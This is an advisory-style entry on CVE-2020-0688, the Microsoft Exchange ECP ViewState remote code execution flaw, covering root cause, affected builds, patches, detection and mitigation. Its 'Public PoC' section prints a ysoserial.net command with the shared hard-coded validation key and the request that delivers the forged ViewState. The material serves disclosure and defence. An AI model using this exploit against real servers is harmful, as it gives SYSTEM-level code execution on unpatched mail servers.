Exchange Static Validation Key RCE

aka Exchange ViewState RCE

Product: Microsoft Exchange Server (ECP)
CVE: CVE-2020-0688
Disclosed: 2020-02-11
CVSS: 8.8
Auth: requires auth / interaction
CISA KEV: yes
Affected: Exchange Server 2010 SP3, 2013, 2016 and 2019 before the February 2020 updates.
Fixed: February 2020 security updates: KB4536987 (Exchange 2016/2019), KB4536988 (Exchange 2013 CU23), KB4536989 (Exchange 2010 SP3 RU30).

Summary

Every Exchange install shipped with the same hard-coded ASP.NET machineKey for the Exchange Control Panel. Any authenticated mailbox user could forge a signed ViewState and get code execution as SYSTEM on the server.

Root cause

Exchange's setup did not generate unique cryptographic keys; the validationKey and decryptionKey in ECP's web.config were identical across installations. Knowing the key, an attacker builds a malicious serialized ViewState (e.g. via ysoserial.net TextFormattingRunProperties gadget) and sends it in a GET request to /ecp/default.aspx, where the ECP app (running as SYSTEM) deserializes it.

Impact

Any user with a valid mailbox can get SYSTEM-level RCE on Exchange servers.

Public PoC

ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  -c "echo OOOPS!!! > c:/Vuln_Server.txt" \
  --validationalg="SHA1" \
  --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" \
  --generator="B97B4E27" \
  --viewstateuserkey="<ASP.NET_SessionId cookie>" --isdebug --islegacy

/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

Source: ZDI - CVE-2020-0688 write-up (ysoserial.net)

Detection

Look for IIS logs with requests to /ecp/default.aspx carrying long __VIEWSTATE parameters and __VIEWSTATEGENERATOR=B97B4E27, and Event ID 4 (ViewState verification failed) in Application logs.

Mitigation

Install the February 2020 updates, which generate unique keys per install; restrict ECP access.